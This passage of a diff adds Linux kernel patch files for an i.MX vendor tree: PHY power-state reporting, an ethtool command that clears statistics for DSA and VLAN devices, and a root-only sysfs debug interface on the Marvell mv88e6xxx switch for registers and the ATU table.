int lpa;
|
||||||
|
@@ -1513,6 +1539,10 @@ int genphy_read_status(struct phy_device
|
||||||
|
if (err)
|
||||||
|
return err;
|
||||||
|
|
||||||
|
+ bmcr = phy_read(phydev, MII_BMCR);
|
||||||
|
+ if (bmcr < 0)
|
||||||
|
+ return bmcr;
|
||||||
|
+
|
||||||
|
phydev->lp_advertising = 0;
|
||||||
|
|
||||||
|
if (AUTONEG_ENABLE == phydev->autoneg) {
|
||||||
|
@@ -1567,11 +1597,6 @@ int genphy_read_status(struct phy_device
|
||||||
|
phydev->asym_pause = lpa & LPA_PAUSE_ASYM ? 1 : 0;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
- int bmcr = phy_read(phydev, MII_BMCR);
|
||||||
|
-
|
||||||
|
- if (bmcr < 0)
|
||||||
|
- return bmcr;
|
||||||
|
-
|
||||||
|
if (bmcr & BMCR_FULLDPLX)
|
||||||
|
phydev->duplex = DUPLEX_FULL;
|
||||||
|
else
|
||||||
|
@@ -1588,6 +1613,11 @@ int genphy_read_status(struct phy_device
|
||||||
|
phydev->asym_pause = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
+ if (bmcr & BMCR_PDOWN)
|
||||||
|
+ phydev->power = PHY_POWER_DOWN;
|
||||||
|
+ else
|
||||||
|
+ phydev->power = PHY_POWER_UP;
|
||||||
|
+
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
EXPORT_SYMBOL(genphy_read_status);
|
||||||
|
Index: include/linux/phy.h
|
||||||
|
===================================================================
|
||||||
|
--- include/linux/phy.h
|
||||||
|
+++ linux-imx/include/linux/phy.h
|
||||||
|
@@ -348,6 +348,7 @@ enum phy_state {
|
||||||
|
PHY_NOLINK,
|
||||||
|
PHY_FORCING,
|
||||||
|
PHY_CHANGELINK,
|
||||||
|
+ PHY_POWERED_DOWN,
|
||||||
|
PHY_HALTED,
|
||||||
|
PHY_RESUMING
|
||||||
|
};
|
||||||
|
@@ -447,6 +448,8 @@ struct phy_device {
|
||||||
|
|
||||||
|
int link_timeout;
|
||||||
|
|
||||||
|
+ int power;
|
||||||
|
+
|
||||||
|
#ifdef CONFIG_LED_TRIGGER_PHY
|
||||||
|
struct phy_led_trigger *phy_led_triggers;
|
||||||
|
unsigned int phy_num_led_triggers;
|
||||||
|
@@ -819,6 +822,8 @@ int phy_suspend(struct phy_device *phyde
|
||||||
|
int phy_resume(struct phy_device *phydev);
|
||||||
|
int __phy_resume(struct phy_device *phydev);
|
||||||
|
int phy_loopback(struct phy_device *phydev, bool enable);
|
||||||
|
+int phy_power_up(struct phy_device *phydev);
|
||||||
|
+int phy_power_down(struct phy_device *phydev);
|
||||||
|
struct phy_device *phy_attach(struct net_device *dev, const char *bus_id,
|
||||||
|
phy_interface_t interface);
|
||||||
|
struct phy_device *phy_find_first(struct mii_bus *bus);
|
||||||
|
Index: include/uapi/linux/ethtool.h
|
||||||
|
===================================================================
|
||||||
|
--- include/uapi/linux/ethtool.h
|
||||||
|
+++ linux-imx/include/uapi/linux/ethtool.h
|
||||||
|
@@ -114,7 +114,10 @@ struct ethtool_cmd {
|
||||||
|
__u8 eth_tp_mdix;
|
||||||
|
__u8 eth_tp_mdix_ctrl;
|
||||||
|
__u32 lp_advertising;
|
||||||
|
- __u32 reserved[2];
|
||||||
|
+ __u8 power;
|
||||||
|
+ __u8 reserved2;
|
||||||
|
+ __u16 reserved3;
|
||||||
|
+ __u32 reserved[1];
|
||||||
|
};
|
||||||
|
|
||||||
|
static inline void ethtool_cmd_speed_set(struct ethtool_cmd *ep,
|
||||||
|
@@ -1664,6 +1667,11 @@ static inline int ethtool_validate_duple
|
||||||
|
#define ETH_MODULE_SFF_8436 0x4
|
||||||
|
#define ETH_MODULE_SFF_8436_LEN 256
|
||||||
|
|
||||||
|
+/* TIESSE Power, up or down. */
|
||||||
|
+#define PHY_POWER_IGNORE 0x0
|
||||||
|
+#define PHY_POWER_DOWN 0x1
|
||||||
|
+#define PHY_POWER_UP 0x2
|
||||||
|
+
|
||||||
|
/* Reset flags */
|
||||||
|
/* The reset() operation must clear the flags for the components which
|
||||||
|
* were actually reset. On successful return, the flags indicate the
|
||||||
|
@@ -1808,7 +1816,8 @@ struct ethtool_link_settings {
|
||||||
|
__u8 eth_tp_mdix_ctrl;
|
||||||
|
__s8 link_mode_masks_nwords;
|
||||||
|
__u8 transceiver;
|
||||||
|
- __u8 reserved1[3];
|
||||||
|
+ __u8 power;
|
||||||
|
+ __u8 reserved1[2];
|
||||||
|
__u32 reserved[7];
|
||||||
|
__u32 link_mode_masks[0];
|
||||||
|
/* layout of link_mode_masks fields:
|
||||||
|
Index: net/core/ethtool.c
|
||||||
|
===================================================================
|
||||||
|
--- net/core/ethtool.c
|
||||||
|
+++ linux-imx/net/core/ethtool.c
|
||||||
|
@@ -480,6 +480,8 @@ convert_legacy_settings_to_link_ksetting
|
||||||
|
= legacy_settings->eth_tp_mdix;
|
||||||
|
link_ksettings->base.eth_tp_mdix_ctrl
|
||||||
|
= legacy_settings->eth_tp_mdix_ctrl;
|
||||||
|
+ link_ksettings->base.power
|
||||||
|
+ = legacy_settings->power;
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
|
||||||
|
@@ -526,6 +528,8 @@ convert_link_ksettings_to_legacy_setting
|
||||||
|
= link_ksettings->base.eth_tp_mdix_ctrl;
|
||||||
|
legacy_settings->transceiver
|
||||||
|
= link_ksettings->base.transceiver;
|
||||||
|
+ legacy_settings->power
|
||||||
|
+ = link_ksettings->base.power;
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,13 @@
|
|||||||
|
Index: drivers/net/phy/phy_device.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/phy/phy_device.c
|
||||||
|
+++ linux-imx/drivers/net/phy/phy_device.c
|
||||||
|
@@ -1389,6 +1389,8 @@ int genphy_setup_forced(struct phy_devic
|
||||||
|
if (DUPLEX_FULL == phydev->duplex)
|
||||||
|
ctl |= BMCR_FULLDPLX;
|
||||||
|
|
||||||
|
+ ctl |= BMCR_RESET;
|
||||||
|
+
|
||||||
|
return phy_write(phydev, MII_BMCR, ctl);
|
||||||
|
}
|
||||||
|
EXPORT_SYMBOL(genphy_setup_forced);
|
@ -0,0 +1,235 @@
|
|||||||
|
Index: include/uapi/linux/ethtool.h
|
||||||
|
===================================================================
|
||||||
|
--- include/uapi/linux/ethtool.h
|
||||||
|
+++ linux-imx/include/uapi/linux/ethtool.h
|
||||||
|
@@ -1377,6 +1377,7 @@ enum ethtool_fec_config_bits {
|
||||||
|
#define ETHTOOL_PHY_STUNABLE 0x0000004f /* Set PHY tunable configuration */
|
||||||
|
#define ETHTOOL_GFECPARAM 0x00000050 /* Get FEC settings */
|
||||||
|
#define ETHTOOL_SFECPARAM 0x00000051 /* Set FEC settings */
|
||||||
|
+#define ETHTOOL_CSTATS 0x00000052 /* Clear statistics */
|
||||||
|
|
||||||
|
/* compatibility with older code */
|
||||||
|
#define SPARC_ETH_GSET ETHTOOL_GSET
|
||||||
|
Index: net/core/ethtool.c
|
||||||
|
===================================================================
|
||||||
|
--- net/core/ethtool.c
|
||||||
|
+++ linux-imx/net/core/ethtool.c
|
||||||
|
@@ -1938,6 +1938,15 @@ static int ethtool_get_stats(struct net_
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
+static int ethtool_clear_stats(struct net_device *dev)
|
||||||
|
+{
|
||||||
|
+ if (!dev->ethtool_ops->clear_ethtool_stats)
|
||||||
|
+ return -EOPNOTSUPP;
|
||||||
|
+
|
||||||
|
+ dev->ethtool_ops->clear_ethtool_stats(dev);
|
||||||
|
+ return 0;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
static int ethtool_get_phy_stats(struct net_device *dev, void __user *useraddr)
|
||||||
|
{
|
||||||
|
struct ethtool_stats stats;
|
||||||
|
@@ -2577,6 +2586,7 @@ int dev_ethtool(struct net *net, struct
|
||||||
|
case ETHTOOL_GSSET_INFO:
|
||||||
|
case ETHTOOL_GSTRINGS:
|
||||||
|
case ETHTOOL_GSTATS:
|
||||||
|
+ case ETHTOOL_CSTATS:
|
||||||
|
case ETHTOOL_GPHYSTATS:
|
||||||
|
case ETHTOOL_GTSO:
|
||||||
|
case ETHTOOL_GPERMADDR:
|
||||||
|
@@ -2688,6 +2698,9 @@ int dev_ethtool(struct net *net, struct
|
||||||
|
case ETHTOOL_GSTATS:
|
||||||
|
rc = ethtool_get_stats(dev, useraddr);
|
||||||
|
break;
|
||||||
|
+ case ETHTOOL_CSTATS:
|
||||||
|
+ rc = ethtool_clear_stats(dev);
|
||||||
|
+ break;
|
||||||
|
case ETHTOOL_GPERMADDR:
|
||||||
|
rc = ethtool_get_perm_addr(dev, useraddr);
|
||||||
|
break;
|
||||||
|
Index: include/linux/ethtool.h
|
||||||
|
===================================================================
|
||||||
|
--- include/linux/ethtool.h
|
||||||
|
+++ linux-imx/include/linux/ethtool.h
|
||||||
|
@@ -347,6 +347,7 @@ struct ethtool_ops {
|
||||||
|
int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state);
|
||||||
|
void (*get_ethtool_stats)(struct net_device *,
|
||||||
|
struct ethtool_stats *, u64 *);
|
||||||
|
+ void (*clear_ethtool_stats)(struct net_device *);
|
||||||
|
int (*begin)(struct net_device *);
|
||||||
|
void (*complete)(struct net_device *);
|
||||||
|
u32 (*get_priv_flags)(struct net_device *);
|
||||||
|
Index: net/dsa/slave.c
|
||||||
|
===================================================================
|
||||||
|
--- net/dsa/slave.c
|
||||||
|
+++ linux-imx/net/dsa/slave.c
|
||||||
|
@@ -1019,6 +1019,30 @@ static int dsa_slave_set_rxnfc(struct ne
|
||||||
|
return ds->ops->set_rxnfc(ds, p->dp->index, nfc);
|
||||||
|
}
|
||||||
|
|
||||||
|
+static void dsa_slave_clear_ethtool_stats(struct net_device *dev)
|
||||||
|
+{
|
||||||
|
+ struct dsa_slave_priv *p = netdev_priv(dev);
|
||||||
|
+ struct dsa_switch *ds = p->dp->ds;
|
||||||
|
+ struct pcpu_sw_netstats *s;
|
||||||
|
+ unsigned int start;
|
||||||
|
+ int i;
|
||||||
|
+
|
||||||
|
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
|
||||||
|
+ for_each_possible_cpu(i) {
|
||||||
|
+ s = per_cpu_ptr(p->stats64, i);
|
||||||
|
+ do {
|
||||||
|
+ start = u64_stats_fetch_begin_irq(&s->syncp);
|
||||||
|
+ s->tx_packets = 0L;
|
||||||
|
+ s->tx_bytes = 0L;
|
||||||
|
+ s->rx_packets = 0L;
|
||||||
|
+ s->rx_bytes = 0L;
|
||||||
|
+ } while (u64_stats_fetch_retry_irq(&s->syncp, start));
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ if (ds->ops->clear_ethtool_stats)
|
||||||
|
+ ds->ops->clear_ethtool_stats(ds, p->dp->index);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
static const struct ethtool_ops dsa_slave_ethtool_ops = {
|
||||||
|
.get_drvinfo = dsa_slave_get_drvinfo,
|
||||||
|
.get_regs_len = dsa_slave_get_regs_len,
|
||||||
|
@@ -1039,6 +1063,7 @@ static const struct ethtool_ops dsa_slav
|
||||||
|
.set_link_ksettings = dsa_slave_set_link_ksettings,
|
||||||
|
.get_rxnfc = dsa_slave_get_rxnfc,
|
||||||
|
.set_rxnfc = dsa_slave_set_rxnfc,
|
||||||
|
+ .clear_ethtool_stats = dsa_slave_clear_ethtool_stats,
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct net_device_ops dsa_slave_netdev_ops = {
|
||||||
|
Index: drivers/net/dsa/mv88e6xxx/chip.h
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/dsa/mv88e6xxx/chip.h
|
||||||
|
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.h
|
||||||
|
@@ -330,6 +330,7 @@ struct mv88e6xxx_ops {
|
||||||
|
void (*stats_get_strings)(struct mv88e6xxx_chip *chip, uint8_t *data);
|
||||||
|
void (*stats_get_stats)(struct mv88e6xxx_chip *chip, int port,
|
||||||
|
uint64_t *data);
|
||||||
|
+ void (*stats_clear_stats)(struct mv88e6xxx_chip *chip, int port);
|
||||||
|
int (*set_cpu_port)(struct mv88e6xxx_chip *chip, int port);
|
||||||
|
int (*set_egress_port)(struct mv88e6xxx_chip *chip, int port);
|
||||||
|
const struct mv88e6xxx_irq_ops *watchdog_ops;
|
||||||
|
Index: include/net/dsa.h
|
||||||
|
===================================================================
|
||||||
|
--- include/net/dsa.h
|
||||||
|
+++ linux-imx/include/net/dsa.h
|
||||||
|
@@ -320,6 +320,7 @@ struct dsa_switch_ops {
|
||||||
|
void (*get_ethtool_stats)(struct dsa_switch *ds,
|
||||||
|
int port, uint64_t *data);
|
||||||
|
int (*get_sset_count)(struct dsa_switch *ds);
|
||||||
|
+ void (*clear_ethtool_stats)(struct dsa_switch *ds, int port);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ethtool Wake-on-LAN
|
||||||
|
Index: drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
@@ -648,6 +648,46 @@ static void mv88e6xxx_get_ethtool_stats(
|
||||||
|
mutex_unlock(&chip->reg_lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
+static void mv88e6xxx_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
|
||||||
|
+{
|
||||||
|
+ u16 histogram = 0;
|
||||||
|
+ int err;
|
||||||
|
+
|
||||||
|
+ err = mv88e6xxx_g1_read(chip, MV88E6XXX_G1_STATS_OP, &histogram);
|
||||||
|
+ if (err)
|
||||||
|
+ return;
|
||||||
|
+
|
||||||
|
+ histogram &= 0xC00;
|
||||||
|
+ /* Clear the statistics counters for given port */
|
||||||
|
+ err = mv88e6xxx_g1_write(chip, MV88E6XXX_G1_STATS_OP,
|
||||||
|
+ MV88E6XXX_G1_STATS_OP_BUSY |
|
||||||
|
+ MV88E6XXX_G1_STATS_OP_FLUSH_PORT |
|
||||||
|
+ (port +1) << 5 |
|
||||||
|
+ histogram);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void mv88e6250_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
|
||||||
|
+{
|
||||||
|
+ mv88e6xxx_stats_clear_stats(chip, port);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void mv88e6xxx_clear_stats(struct mv88e6xxx_chip *chip, int port)
|
||||||
|
+{
|
||||||
|
+ if (chip->info->ops->stats_clear_stats)
|
||||||
|
+ chip->info->ops->stats_clear_stats(chip, port);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static void mv88e6xxx_clear_ethtool_stats(struct dsa_switch *ds, int port)
|
||||||
|
+{
|
||||||
|
+ struct mv88e6xxx_chip *chip = ds->priv;
|
||||||
|
+
|
||||||
|
+ mutex_lock(&chip->reg_lock);
|
||||||
|
+
|
||||||
|
+ mv88e6xxx_clear_stats(chip, port);
|
||||||
|
+
|
||||||
|
+ mutex_unlock(&chip->reg_lock);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
static int mv88e6xxx_stats_set_histogram(struct mv88e6xxx_chip *chip)
|
||||||
|
{
|
||||||
|
if (chip->info->ops->stats_set_histogram)
|
||||||
|
@@ -2801,6 +2841,7 @@ static const struct mv88e6xxx_ops mv88e6
|
||||||
|
.stats_get_sset_count = mv88e6250_stats_get_sset_count,
|
||||||
|
.stats_get_strings = mv88e6250_stats_get_strings,
|
||||||
|
.stats_get_stats = mv88e6250_stats_get_stats,
|
||||||
|
+ .stats_clear_stats = mv88e6250_stats_clear_stats,
|
||||||
|
.set_cpu_port = mv88e6095_g1_set_cpu_port,
|
||||||
|
.set_egress_port = mv88e6095_g1_set_egress_port,
|
||||||
|
.watchdog_ops = &mv88e6250_watchdog_ops,
|
||||||
|
@@ -3837,6 +3878,7 @@ static const struct dsa_switch_ops mv88e
|
||||||
|
.adjust_link = mv88e6xxx_adjust_link,
|
||||||
|
.get_strings = mv88e6xxx_get_strings,
|
||||||
|
.get_ethtool_stats = mv88e6xxx_get_ethtool_stats,
|
||||||
|
+ .clear_ethtool_stats = mv88e6xxx_clear_ethtool_stats,
|
||||||
|
.get_sset_count = mv88e6xxx_get_sset_count,
|
||||||
|
.port_enable = mv88e6xxx_port_enable,
|
||||||
|
.port_disable = mv88e6xxx_port_disable,
|
||||||
|
Index: net/8021q/vlan_dev.c
|
||||||
|
===================================================================
|
||||||
|
--- net/8021q/vlan_dev.c
|
||||||
|
+++ linux-imx/net/8021q/vlan_dev.c
|
||||||
|
@@ -681,6 +681,26 @@ static int vlan_ethtool_get_ts_info(stru
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
+static void vlan_clear_ethtool_stats(struct net_device *dev)
|
||||||
|
+{
|
||||||
|
+ struct vlan_pcpu_stats *p;
|
||||||
|
+ unsigned int start;
|
||||||
|
+ int i;
|
||||||
|
+
|
||||||
|
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
|
||||||
|
+ for_each_possible_cpu(i) {
|
||||||
|
+ p = per_cpu_ptr(vlan_dev_priv(dev)->vlan_pcpu_stats, i);
|
||||||
|
+ do {
|
||||||
|
+ start = u64_stats_fetch_begin_irq(&p->syncp);
|
||||||
|
+ p->rx_packets = 0L;
|
||||||
|
+ p->rx_bytes = 0L;
|
||||||
|
+ p->rx_multicast = 0L;
|
||||||
|
+ p->tx_packets = 0L;
|
||||||
|
+ p->tx_bytes = 0L;
|
||||||
|
+ } while (u64_stats_fetch_retry_irq(&p->syncp, start));
|
||||||
|
+ }
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
static void vlan_dev_get_stats64(struct net_device *dev,
|
||||||
|
struct rtnl_link_stats64 *stats)
|
||||||
|
{
|
||||||
|
@@ -771,6 +791,7 @@ static const struct ethtool_ops vlan_eth
|
||||||
|
.get_drvinfo = vlan_ethtool_get_drvinfo,
|
||||||
|
.get_link = ethtool_op_get_link,
|
||||||
|
.get_ts_info = vlan_ethtool_get_ts_info,
|
||||||
|
+ .clear_ethtool_stats = vlan_clear_ethtool_stats,
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct net_device_ops vlan_netdev_ops = {
|
@ -0,0 +1,229 @@
|
|||||||
|
Index: drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
===================================================================
|
||||||
|
--- drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
|
||||||
|
@@ -3936,6 +3936,212 @@ static void mv88e6xxx_unregister_switch(
|
||||||
|
dsa_unregister_switch(chip->ds);
|
||||||
|
}
|
||||||
|
|
||||||
|
+/*
|
||||||
|
+ * Marvell switch mv88e6xxx sysfs interface
|
||||||
|
+ */
|
||||||
|
+static int mv88e6xxx_port;
|
||||||
|
+static u16 mv88e6xxx_reg;
|
||||||
|
+static ssize_t sysfs_reg_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_reg);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t sysfs_reg_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr,
|
||||||
|
+ const char *buf, size_t count)
|
||||||
|
+{
|
||||||
|
+ if (kstrtou16(buf, 0, &mv88e6xxx_reg)) {
|
||||||
|
+ dev_err(dev, "Invalid reg\n");
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+ return (ssize_t)count;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t sysfs_port_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_port);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t sysfs_port_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr,
|
||||||
|
+ const char *buf, size_t count)
|
||||||
|
+{
|
||||||
|
+ if (kstrtoint(buf, 0, &mv88e6xxx_port)) {
|
||||||
|
+ dev_err(dev, "Invalid port \n");
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+ return (ssize_t)count;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+/*
|
||||||
|
+ * Read the specified register of a specified port
|
||||||
|
+ */
|
||||||
|
+static ssize_t sysfs_port_reg_val_show(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
|
||||||
|
+ struct mv88e6xxx_chip *chip = ds->priv;
|
||||||
|
+ u16 reg;
|
||||||
|
+ int err;
|
||||||
|
+
|
||||||
|
+ mutex_lock(&chip->reg_lock);
|
||||||
|
+ err = mv88e6xxx_port_read(chip, mv88e6xxx_port, mv88e6xxx_reg, ®);
|
||||||
|
+ mutex_unlock(&chip->reg_lock);
|
||||||
|
+
|
||||||
|
+ if (err) {
|
||||||
|
+ dev_err(dev, "Port %d register %x failed\n", mv88e6xxx_port, mv88e6xxx_reg);
|
||||||
|
+ return -EIO;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return scnprintf(buf, PAGE_SIZE, "0x%x\n", reg);
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+/*
|
||||||
|
+ * Purge the switch ATU cache
|
||||||
|
+ */
|
||||||
|
+static ssize_t sysfs_atu_flush(struct device *dev,
|
||||||
|
+ struct device_attribute *attr,
|
||||||
|
+ const char *buf, size_t count)
|
||||||
|
+{
|
||||||
|
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
|
||||||
|
+ struct mv88e6xxx_chip *chip = ds->priv;
|
||||||
|
+ int err;
|
||||||
|
+
|
||||||
|
+ mutex_lock(&chip->reg_lock);
|
||||||
|
+ err = mv88e6xxx_g1_atu_flush(chip, 0, true);
|
||||||
|
+ mutex_unlock(&chip->reg_lock);
|
||||||
|
+
|
||||||
|
+ if (err) {
|
||||||
|
+ dev_err(dev, "ATU flush failed\n");
|
||||||
|
+ return -EIO;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return (ssize_t)count;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+/*
|
||||||
|
+ * Returns the ATU cache content
|
||||||
|
+ */
|
||||||
|
+static ssize_t sysfs_atu_dump(struct device *dev,
|
||||||
|
+ struct device_attribute *attr, char *buf)
|
||||||
|
+{
|
||||||
|
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
|
||||||
|
+ struct mv88e6xxx_chip *chip = ds->priv;
|
||||||
|
+ struct mv88e6xxx_atu_entry addr;
|
||||||
|
+ u16 fid = 0;
|
||||||
|
+ ssize_t n = 0;
|
||||||
|
+ int err;
|
||||||
|
+
|
||||||
|
+ addr.state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
|
||||||
|
+ eth_broadcast_addr(addr.mac);
|
||||||
|
+
|
||||||
|
+ n += scnprintf(buf + n, PAGE_SIZE - n,
|
||||||
|
+ "\nATU List:\n");
|
||||||
|
+
|
||||||
|
+ mutex_lock(&chip->reg_lock);
|
||||||
|
+ while (1) {
|
||||||
|
+ err = mv88e6xxx_g1_atu_getnext(chip, fid, &addr);
|
||||||
|
+ if (err)
|
||||||
|
+ break;
|
||||||
|
+
|
||||||
|
+ if (addr.state == MV88E6XXX_G1_ATU_DATA_STATE_UNUSED)
|
||||||
|
+ break;
|
||||||
|
+ n += scnprintf(buf + n, PAGE_SIZE - n,
|
||||||
|
+ "(%02x:%02x:%02x:%02x:%02x:%02x), PortVec %#x, State %#x\n",
|
||||||
|
+ addr.mac[0], addr.mac[1], addr.mac[2],
|
||||||
|
+ addr.mac[3], addr.mac[4], addr.mac[5],
|
||||||
|
+ addr.portvec,
|
||||||
|
+ addr.state);
|
||||||
|
+ }
|
||||||
|
+ mutex_unlock(&chip->reg_lock);
|
||||||
|
+ n += scnprintf(buf + n, PAGE_SIZE - n,"\n");
|
||||||
|
+ if (err)
|
||||||
|
+ return 0;
|
||||||
|
+ else
|
||||||
|
+ return n;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static ssize_t sysfs_atu_uc_static_entry_store(struct device *dev,
|
||||||
|
+ struct device_attribute *attr,
|
||||||
|
+ const char *buf, size_t count)
|
||||||
|
+{
|
||||||
|
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
|
||||||
|
+ struct mv88e6xxx_chip *chip = ds->priv;
|
||||||
|
+ const char *name = attr->attr.name;
|
||||||
|
+ struct mv88e6xxx_atu_entry entry;
|
||||||
|
+ u8 mac[ETH_ALEN];
|
||||||
|
+ u8 state;
|
||||||
|
+ int values[ETH_ALEN], dpv;
|
||||||
|
+ int i, err;
|
||||||
|
+
|
||||||
|
+ if(7 != sscanf(buf, "%x:%x:%x:%x:%x:%x %x%*c",
|
||||||
|
+ &values[0], &values[1], &values[2],
|
||||||
|
+ &values[3], &values[4], &values[5],
|
||||||
|
+ &dpv)) {
|
||||||
|
+ dev_err(dev, "Invalid input %s\n", buf);
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ for (i = 0; i<ETH_ALEN; i++) {
|
||||||
|
+ if (values[i] < 0 || values[i] > 255) {
|
||||||
|
+ dev_err(dev, "Invalid mac %s\n", buf);
|
||||||
|
+ return -EINVAL;
|
||||||
|
+ }
|
||||||
|
+ mac[i] = (u8)values[i];
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ if (!strcmp(name, "atu_uc_static_entry_add"))
|
||||||
|
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UC_STATIC;
|
||||||
|
+ else
|
||||||
|
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
|
||||||
|
+
|
||||||
|
+ memset(&entry, 0, sizeof(entry));
|
||||||
|
+ ether_addr_copy(entry.mac, mac);
|
||||||
|
+ entry.portvec = dpv;
|
||||||
|
+ entry.state = state;
|
||||||
|
+
|
||||||
|
+ mutex_lock(&chip->reg_lock);
|
||||||
|
+ err = mv88e6xxx_g1_atu_loadpurge(chip, 0, &entry);
|
||||||
|
+ mutex_unlock(&chip->reg_lock);
|
||||||
|
+
|
||||||
|
+ if (err) {
|
||||||
|
+ dev_err(dev, "Load static entry failed\n");
|
||||||
|
+ return -EIO;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return (ssize_t)count;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
+static DEVICE_ATTR(reg, S_IWUSR | S_IRUSR,
|
||||||
|
+ sysfs_reg_show, sysfs_reg_store);
|
||||||
|
+static DEVICE_ATTR(port, S_IWUSR | S_IRUSR,
|
||||||
|
+ sysfs_port_show, sysfs_port_store);
|
||||||
|
+static DEVICE_ATTR(port_reg_val, S_IWUSR | S_IRUSR,
|
||||||
|
+ sysfs_port_reg_val_show, NULL);
|
||||||
|
+static DEVICE_ATTR(atu, S_IWUSR | S_IRUSR,
|
||||||
|
+ sysfs_atu_dump, sysfs_atu_flush);
|
||||||
|
+static DEVICE_ATTR(atu_uc_static_entry_add, S_IWUSR | S_IRUSR,
|
||||||
|
+ NULL, sysfs_atu_uc_static_entry_store);
|
||||||
|
+static DEVICE_ATTR(atu_uc_static_entry_del, S_IWUSR | S_IRUSR,
|
||||||
|
+ NULL, sysfs_atu_uc_static_entry_store);
|
||||||
|
+
|
||||||
|
+static struct attribute *mv88e6xxx_sysfs_entries[] = {
|
||||||
|
+ &dev_attr_reg.attr,
|
||||||
|
+ &dev_attr_port.attr,
|
||||||
|
+ &dev_attr_port_reg_val.attr,
|
||||||
|
+ &dev_attr_atu.attr,
|
||||||
|
+ &dev_attr_atu_uc_static_entry_add.attr,
|
||||||
|
+ &dev_attr_atu_uc_static_entry_del.attr,
|
||||||
|
+ NULL
|
||||||
|
+};
|
||||||
|
+
|
||||||
|
+static struct attribute_group mv88e6xxx_attribute_group = {
|
||||||
|
+ .name = "config",
|
||||||
|
+ .attrs = mv88e6xxx_sysfs_entries,
|
||||||
|
+};
|
||||||
|
+
|
||||||
|
static int mv88e6xxx_probe(struct mdio_device *mdiodev)
|
||||||
|
{
|
||||||
|
struct device *dev = &mdiodev->dev;
|
||||||
|
@@ -4013,6 +4219,11 @@ static int mv88e6xxx_probe(struct mdio_d
|
||||||
|
if (err)
|
||||||
|
goto out_mdio;
|
||||||
|
|
||||||
|
+ /* register sysfs files */
|
||||||
|
+ err = sysfs_create_group(&dev->kobj, &mv88e6xxx_attribute_group);
|
||||||
|
+ if (err)
|
||||||
|
+ dev_err(chip->dev, "sysfs_create_group failed\n");
|
||||||
|
+
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
out_mdio:
|
@ -0,0 +1,527 @@
|
|||||||
|
Index: drivers/leds/trigger/Kconfig
|
||||||
|
===================================================================
|
||||||
|
--- drivers/leds/trigger/Kconfig
|
||||||
|
+++ linux-imx/drivers/leds/trigger/Kconfig
|
||||||
|
@@ -126,4 +126,11 @@ config LEDS_TRIGGER_PANIC
|
||||||
|
a different trigger.
|
||||||
|
If unsure, say Y.
|
||||||
|
|
||||||
|
+config LEDS_TRIGGER_NETDEV
|
||||||
|
+ tristate "LED Netdev Trigger"
|
||||||
|
+ depends on NET
|
||||||
|
+ help
|
||||||
|
